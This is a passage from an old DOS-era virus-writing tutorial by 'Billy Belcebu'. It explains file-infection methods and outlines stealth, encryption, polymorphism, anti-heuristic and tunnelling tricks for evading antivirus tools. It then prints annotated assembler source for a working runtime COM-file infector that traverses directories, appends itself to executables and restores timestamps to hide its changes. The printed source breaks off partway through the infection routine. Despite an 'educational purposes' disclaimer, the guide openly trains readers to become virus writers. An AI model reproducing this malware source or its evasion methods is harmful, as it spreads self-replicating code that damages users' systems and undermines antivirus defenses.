ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ Å Billy Belceb£ Virus Writing Guide 1.04 Å ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ ÄÄÄ´ Disclaimer ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ The autor of this document isn't responsible of any kind of damage that co- uld be made with the bad use of this information. The objective of this tu- torial is to teach people how to create and defend againist the attack of a lame YAM virus :) This tute is for educational purposes only. So, lawyers, i don't give a shit if a lamer takes this information and makes destructive viruses. And if through this document you see anywhere that i encourage to destroy or corromp data, go directly to buy glasses. ÄÄÄ´ Presentations ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Welcome the Billy Belceb£'s Virus Writing Guide. This document is dedicated to my master, zAxOn, my mentor from the days when i asked him what was ARJ passing through the day when he lend me the TP5, and taught me all he knew, till my first steps in Assembly. It's also dedicated to the ppl who want to leave to be lamer, and want to join the " good scene ". I don't forget the author of a lot of great documents, Dark Angel ( member of the extinct pio- neer cool group called Phalcon/Skism ), cause his tutorials taught me in my early stages. Of course, to The Offspring, Marilyn Manson, Blind Guardian, Stratovarius and Metallica ( I hear another groups, but these are the best ones ) cause with their music i'm writing this lines. Hope you like this beginner's guide, probably my last tribute for DOS viruses. NOTE: English ain't my first language ( it's spanish ), so excuse me for all my misspells i made ( a lot of ), and notify me them for later updates of this document. --- Contact me þ E-mail billy_belcebu@hotmail.com billy_belcebu@cryogen.com þ ICQ # 22290500 þ Personal web page http://members.xoom.com/billy_bel http://www.cryogen.com/billy_belcebu þ Group web page http://sourceofkaos.com/homes/ddt þ IRC [Billy_Bel] Undernet #vir, Irc-Hispano #virus Have phun! Billy Belceb£, mass killer and ass kicker. ÄÄÄ´ Useful software for virus coding ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ You need some things before start writing virii. Here you have the programs i recommend you ( If you haven't enough money for buy them... DOWNLOAD! ) :) þ Borland Turbo Assembler 3.1 will be enough for dos viruses þ Borland Turbo Link 5.1 þ SoftIce debugger, Borland Turbo Debug 3.1, AVP debugger, or dos debug even þ The text editor you like more ( QuickEdit should be a good choice ) þ Some virus sources ( from old viruses like stoned to the coolest, like Zhengxi, Onehalf, Cabanas, Esperanto... ) þ Some virus related e-zines ( 40hex, Insane Reality, Xine, 29A... ) þ Utilities that can show you memory dumps and else, like Norton Utilities þ The Ralf Brown's Interrupt list þ Some assembler books ( for doubts and this kinda things ) :) þ Some AVs ( in order to see if our virii is detected heuristically ) þ Of course, this document ;) I hope i don't forget any important thing. ÄÄÄ´ Some useful theory ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ A virus is a program ussually coded in assembler ( but can also be coded in other languages, like PASCAL and C ) that spreads copies of itself to other executables and/or another things like boot sectors or MBRs. The assembler ain't as " diabolic " as some people say, believe me :) Well, i hope you have noted that i don't mention anywhere the macro viruses: if you wanna learn something, i think that the best thing you could do is to write viruses in assembler. A virus attaches itself at end of the victim ( the 80% of viruses ), take advantage of the MS-DOS feature of executing first a COM than a EXE file ( companion viruses ), don'tincrease the size ( guest infectors and overwri- ting virii ), EXE header viruses, midfile infectors, install in boot, in MBR And with the compression engines... a virus can decrease the size of the victim after infection!!! ;) Hope to see soon a virus like this (Supeeeer ;) Let's see how a virus of the first kind works with some nice graphics ;) ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ÚÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ÚÄÄÄÄÄÄÄÄÄÂÄÄÄÄ¿¿ ³ ³ ³ ³ ÚijJMP VIRUS³ ³ ³ ³ ³ ³ VIRUS ³ ³ ÃÄÄÄÄÄÄÄÄÄÙ ³ ³ ³ FILE ³+³ ³ ÄÄÄÄÄÄÄij FILE ³ ³ ³ ³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÙ ³ ³ ³ ³ ³ ³ ³ ³ ³ ³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ ÀÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ³ ³ ³ ³ ³ VIRUS ³ ³ ³ ³ ³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙÄÙ Viruses ussually follow the same steps: 1. Locate the file to infect ( Waiting till opening or something, or seeking throught directories ) 2. Check if it's already infected 3. If yes, skip it. 4. Save file date/time 5. Put a jump to our code saving the first bytes 6. Append the virus body 7. Restore file date/time It's very simple as you can see, but they use different ways for arrive to the below point. I'll explain it later. Another type of infection can be also made, but it's more slow, because we have to take all guest code, save it in a temporal place, write the virus code, and after our code, the guest original code. Let's see: ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ÚÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ³ ³ ³ ³ ³ ³ ³ ³ ³ VIRUS ³ ³ VIRUS ³ ³ FILE ³+³ ³ ÄÄÄÄÄÄ ³ ³ ³ ³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÙ ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´³ ³ ³ ³ ³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ ³ ³ ³ FILE ³ ³ ³ ³ ³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ The worst viruses in the world are the overwriting ones. They're so destruc- tive, and the infection is easily detected, cause they don't execute the guest ( they can't be operative coz the infection method ), they only execu- tes their own body. Let's see a graphic. ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ÚÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ³ ³ ³ ³ ³ ³ ³ ³ ³ VIRUS ³ ³ VIRUS ³ ³ FILE ³+³ ³ ÄÄÄÄÄÄ ³ ³ ³ ³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÙ ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ³ ³ ³ ³ ÄÄÄÄÄ The file ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ never more run :( A really good idea is the mid-file infection, probably one of the best me- thods for infect: viruses more hard to remove, emulate... They simply write itself to a random offset on the host, and we give'em the control there. ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ÚÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ÚÄÄÄÄÄÄÄÄÄÄÂÄÄÄ¿¿ ³ ³ ³ ³ ÚijJMP VIRUS ³ ³ ³ ³ ³ ³ VIRUS ³ ³ ÃÄÄÄÄÄÄÄÄÄÄÙ ³ ³ ³ FILE ³+³ ³ ÄÄÄÄÄÄÄij FILE (I) ³ ³ ³ ³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÙ ÀÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ³ ³ ³ ³ ³ ³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ ³ VIRUS ³ ³ ³ ³ ³ ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ÄÙ ³ FILE (II) ³ ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ³ SAVED DATA ³ ³ OVERWRITTEN ³ ³ BY THE VIRUS ³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ In fact, there is a method that comes from this one, that mainly is to find "holes" in the executable file, such as big data zones. Let's see a little diagram for this ones. ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ÚÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ÚÄÄÄÄÄÄÄÄÄÄÂÄÄÄ¿¿ ³ ³ ³ ³ ÚijJMP VIRUS ³ ³ ³ ³ ³ ³ VIRUS ³ ³ ÃÄÄÄÄÄÄÄÄÄÄÙ ³ ³ ³ FILE ³+³ ³ ÄÄÄÄÄÄÄij FILE (I) ³ ³ ³ ³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÙ ÀÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ³ ¿ ³ ³ ³ ³ ³ ³ Was a ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ ³ VIRUS ³ ³ à data area ³ ³ ³ ³ w/constant ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ÄÙ Ù value. ³ FILE (II) ³ ³ ³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ Of course, there're more and more infection methods, but this is a guide for beginners... never forget it :) And that are demonstration diagrams... A virus have some different phases: þ INFECTION: A virus arrive to an unsuspecting guy, inside a file ( via dis- quettes, e-mail... ) or boot sectors ( disquettes... ). The user executes the virus without know it, and then is when the creature takes the con- trol of the system ( instead the user ) ;) þ I-HAVE-THE-CONTROL: This is the funniest phase of viruses, cause the user, lives very happy, lending programs to his/her friends, infecting them, and all this stuff. And the virus quickly infects more and more people. þ PAYLOAD: After a decisive situation, the virus show its presence. The pay- load can be destructive or not ;) In my humble opinion, the destruc- tive payloads are only made by the lamers, this scum who enjoy destroying other computers, and with the well know attitude of a dickhead. The better payloads are the original ones, coz they make the user to feel astonished. Of course, there're virus without a payload, that don't do anything besi- des replicate (Hi Patty Bitchman!). In this tutorial i will talk about some other interesting stuff like: þ ARMOURING: I really LOVE this stuff. It's ussually used for avoid the debugging/dissasembling of our virus for any undesirable guy. Well, a good VXer can dissasemble whatever he/she ( ? ) wants to. You have an example in Tcp/29A and Darkman/29A... þ STEALTH: The concealment method for excelence. There're a lot of methods for make stealth ( FCB, Handles, SFT, Disinfection-on-the-fly... ) I'll explain some of these things. This consists in make the user think there isn't any kind of infection, returning him the same file size that was be- fore the infection, disinfecting the file before it's opened... þ ENCRYPTION: This method consist in the cypher of the main virus body, so the strings we can have as copyright can't be seen by a suspecting guy ;) It's really an old technique, but nowadays is still used ( but with some things that change, see the next point ). Uses mathematic operations for perform the work ( XOR, ADD-SUB, INC-DEC, NOT, NEG, ROR-ROL... ) þ POLYMORPHISM: An extension of the encryption in order to avoid AVs. The objective is generate different decryption routines each time for make impossible the scan of the virus, or minimize the possible scan strings :) þ ANTI-HEURISTIC: Heuristic scanners aren't as trustables like some people say. I'll demonstrate that the heuristic aren't as safe as they seem. This stuff are some tricks you can use for avoid flags. þ TUNNELING: This stuff is used for obtain the " real " INT 21h vectors, bypassing the TSR watchdogs, and all that's in our way. þ ANTI-TUNNELING: The weapon that AV used for avoid tunnelers becomes in one of the TSR watchdog's enemy. It's also cool for stop the steps of other viruses that are trying to get _OUR_ INT21h :) þ ANTI-BAIT: Baits ( aka sacrifical goats ) are what AV uses for make multi- ple infections in a lot of files, trying to get a scan string for our virus ( and with it, our mutation engine )... and, we want this? NO! I'll explain the most used methods for don't infect this non-sense programs. þ OPTIMIZATION: The better viruses are the ones that do a lot of thing using very few bytes. In this little chapter you'll see how to do some things using less bytes. ÄÄÄ´ First steps, RUNTIME viruses ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ There're some methods for a success infection. Now I'll explain the most old ones, the RUNTIME ( aka direct action ). Nowadays, no one makes a runtime infector, because they're slooooooow, and their presence is quickly detected by a middle-interested user. But... don't be afraid! This method is very simple, and all the people now in the scene, made their first steps with a runtime com infector. This method is only for your first contact with the virus developing. A runtime virus consist in a program that searches for files using a wildcard ( "*.com","*.exe","*.*"... ) and using the DOS-API ( of course, the INT 21h ) functions Findfirst and Findnext ( 4Eh and 4Fh ). It can also enter in another directories than the actual one for perform its infection. Ussually this kinda viruses infects COM and EXE, but we can also infect SYS, OBJ, ZIP... but for this i'd need another tutorial, and... do you remember this is for beginners? ;) % COM infection % ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ The easiest, as you can imagine is the COM infection. It's the first thing you must understand, coz the infection ( not the way used to arrive there ) is more or less, the same stuff in all kinda viruses ( TSR and so on ): 1. Open file 2. Save time/date/attributes 3. Store first ( ussually 3 ) bytes 4. Calculate the new jump 5. Put it 6. Append main virus body 7. Restore time/date/attributes 8. Close file You must remember that a COM file look is the same in the physical code than in the memory ( COM = Copy Of Memory ). DOS gives all the available memory to the COM file. Let's see how is a COM program when it's loaded in memory: ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ÄÄÄÂÄÄ CS = 0000h ³ Program Segment Prefix ( PSP ) ³ ÃÄÄ DS = 0000h ³ 100h bytes ( 256d ) ³ ÃÄÄ ES = 0000h ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ Ä¿ ÀÄÄ SS = 0000h ³ Program Code and Data ³ ÀÄ CS:IP = 0100h ³ ³ ³ ³ ³ ³ ÚÄÄ CS = FFFFh (*) The stack grows ³ ³ ÃÄÄ DS = FFFFh backwards, from ³ Stack ³ ÚÁÄÄ ES = FFFFh bottom to top. ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ ÄÄÁ SS:SP = FFFFh The COM files can only have the size of a segment ( FFFFh bytes ) less 100h bytes that are used for PSP ( FFFFh - 100h = FEFFh ). But there's a problem. We must save more space for let the stack grow what we need ( every time we make a PUSH and we forget the POP, the stack grows, and if it grows too much it'll finish trashing our program ). I'll leave at least 100h more bytes for stack. Ok ? :) It's very easy to understand... and it's LOGIC!!! ;) Talking about logic things... I think it is a good time for practice the COM infection. It's a LAME virus. LAME? Only? More than this : the LAMEST! ;) But this is a beginners documment, and i must make it! Althougth it fuck me! Well, i don't kill my mind programming some stuff like that, althougth i'd spend only 5 minutes in coding my own :) ( spend time? just WASTE time! :) ;ÄÄÄ[ CUT HERE ]ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ; A very lame virus. Don't compile. Don't distribute. ; If you make a copy of this... you'll be LAME! ; But i hope it'll help you in order to become a VXer from the first steps ; to the GIANT ones ;) And then you'll have to send me greets :) ; I hate to code my own runtime virus ( 5 minutes for write a shit, please ; believe me, is very boring and a WASTE of time ) so I used Dark Angel's Gý ; Sorry, i'm a goddamn lazy :) ; ; Assemble with: TASM /m3 lame.asm ; Link with: TLINK /t lame.obj ; Virus generated by Gý 0.70á ( Look, I didn't removed signatures. This ain't ; mine! The lamest thing you can do is remove signatures. Don't forget it! ) ; Gý written by Dark Angel of Phalcon/Skism ; File: LAME.ASM .model tiny .code org 0100h carrier: db 0E9h,0,0 ; jmp start start: mov bp, sp ; Antidebugging get ë offset! int 0003h ; Int for breakpoints next: mov bp, ss:[bp-6] sub bp, offset next ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ; Explanation: ; Let's see. When we infect a file ALL offsets get moved exactly da size of ; guest, so we choice a register ( ussually BP or SI ) and we put in it the ; size of the file with this simple thing, and each time we use a variable or ; something, we MUST add the register used as ë-offset ( here BP ) ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ mov dl, 0000h ; Default drive mov ah, 0047h ; Get directory lea si, [bp+offset origdir+1] int 0021h lea dx, [bp+offset newDTA] mov ah, 001Ah ; Set DTA int 0021h ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ; Explanation: ; The first block stores the current directory in a variable for l8r return. ; Take a look to the zone of this document where are the DTA structure. The ; DTA ( Disk Transfer Address ) begins in the byte 80h of the PSP ( Program ; Segment Prefix ) where also resides the command line. And you wonder why... ; What happens when we use the DTA with the command line? That's the reason ; of storing the DTA ( Besides for our own use, of course ) ;) ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ restore_COM: mov di, 0100h push di lea si, [bp+offset old3] movsb ; Move first byte movsw ; Move next two mov byte ptr [bp+numinfect], 0000h ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ; Explanation: ; This routine restores the 3 original first bytes of the infected com, loca- ; ted above offset 100h, and also saves this offset in DI for later use. ; The last line setups the actual number of infections to 0 ( the couter ). ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ traverse_loop: lea dx, [bp+offset COMmask] call infect cmp [bp+numinfect], 0003h jae exit_traverse ; exit if enough infected mov ah, 003Bh ; CHDIR lea dx, [bp+offset dot_dot] ; go to previous dir int 0021h jnc traverse_loop ; loop if no error exit_traverse: lea si, [bp+offset origdir] mov byte ptr [si], '\' mov ah, 003Bh ; restore directory xchg dx, si int 0021h ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ; Explanation: ; All we do here is infect all files in the directory, and we end with this, ; we change directory to .. ; And when there aren't more directories we restore the old when we were. ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ mov dx, 0080h ; in the PSP mov ah, 001Ah ; restore DTA to default int 0021h return: ret ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ; Explanation: ; This will restore the taken DTA to its original address, in the offset 80h ; at the Program Segment Prefix ( PSP ), and then return to original offset ; 100h, for execute the file normally ;) ( Remember we pushed di when it was ; equal to 100h ) ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ old3 db 0cdh,20h,0 infect: mov ah, 004Eh ; find first mov cx, 0007h ; all files findfirstnext: int 0021h jc return ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ; Explanation: ; In this code all we do is search in the current directory for the files ; matching with the wildcard in DX ( in this example "*.COM" ), with any kind ; of attributes. ; Old3 is the var that handles the first 3 bytes of the actual infected COM. ; If there isn't matching files, a carry flag is returned and then we jump to ; a routine that returns the control to the main program. If we found at ; lest one of them, we jump to the following code, and when finish this, we ; look for another file ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ cmp word ptr [bp+newDTA+35], 'DN' ; Check if COMMAND.COM mov ah, 004Fh ; Set up find next jz findfirstnext ; Exit if so ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ; Explanation: ; This is for not infect the command.com, checking if file has in pos name+5 ; ( DTA+35 ) the word DN ( ND, but the words are stored reverse! ) ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ lea dx, [bp+newDTA+30] mov ax, 4300h int 0021h jc return push cx push dx mov ax, 4301h ; clear file attributes push ax ; save for later use xor cx, cx int 0021h ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ; Explanation: ; The first block has a double function: stores the file attributes of the ; file for later restore, and also check if file exists or there's a problem. ; The second one save in stack 4301h ( function for put attributes ) and also ; clear file of undesirable attributes like read-only :) ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ lea dx, [bp+newDTA+30] mov ax, 3D02h ; Open R/O int 0021h xchg ax, bx ; Handle in BX mov ax, 5700h ; get file time/date int 0021h push cx push dx ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ; Explanation: ; The first block opens the file in read/write mode, and the put the file ; handle in BX, where it'll be more useful. ; The second block of instructions get the file date and time and then save ; them in the stack. ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ mov ah, 003Fh mov cx, 001Ah lea dx, [bp+offset readbuffer] int 0021h xor cx, cx xor dx, dx mov ax, 4202h int 0021h ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ; Explanation: ; The first block reads 1Ah bytes ( 26 ) into the variable readbuffer, for ; later comparations. The second block moves the file pointer to the end of ; the file for two reasons: file size will be put in AX, and we need to be ; there for append ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ cmp word ptr [bp+offset readbuffer], "ZM" jz jmp_close mov cx, word ptr [bp+offset readbuffer+1] ; jmp location add cx, heap-start+3 ; convert to filesize cmp ax, cx ; equal if already infected jl skipp jmp_close: jmp close ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ; Explanation: ; The first block compares the two first bytes of the opened COM file in ; order to see if it's a misnamed EXE ( remember the words must be in reverse ; order ). The second block check for previous infection, comparing the virus ; size + the guest ( before be infected ) size with the guest actual size. ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ skipp: cmp ax, 65535-(endheap-start) ; check if too large ja jmp_close ; Exit if so lea di, [bp+offset old3] lea si, [bp+offset readbuffer] movsb movsw ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ; Explanation: ; The first block of instructions check the size of the COM, to see if we can ; infect it ( the COM size + virus size can't be > 0FFFFh ( 65535 ), cause it ; is, the PSP and/or stack will corromp the code. ; The second block moves the values of old3 ( 3 bytes ) var to readbuffer. ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ sub ax, 0003h ; Virus_size-3 ( jump size ) mov word ptr [bp+offset readbuffer+1], ax mov dl, 00E9h ; Opcode of jmp mov byte ptr [bp+offset readbuffer], dl lea dx, [bp+offset start] ; The beginning of what append mov cx, heap-start ; Size to append mov ah, 0040h ; concatenate virus int 0021h ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ; Explanation: ; The first block calculates the jump to the virus code and then stores the ; result in a variable. The second block append the virus to the guest :) ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ mov ax, 4200h xor dx, dx xor cx, cx int 0021h mov cx, 0003h lea dx, [bp+offset readbuffer] mov ah, 0040h int 0021h inc [bp+numinfect] ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ; Explanation: ; The first block moves the file pointer to the beginning of da file, and the ; second one writes the jump to the virus code there. ; The third increases the variable that holds the number of succesful infec- ; tions already made ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ close: mov ax, 5701h ; restore file time/date pop dx pop cx int 0021h mov ah, 003Eh int 0021h pop ax ; restore file attributes pop dx ; get filename and pop cx ; attributes from stack int 0021h mov ah, 004Fh ; find next jmp findfirstnext 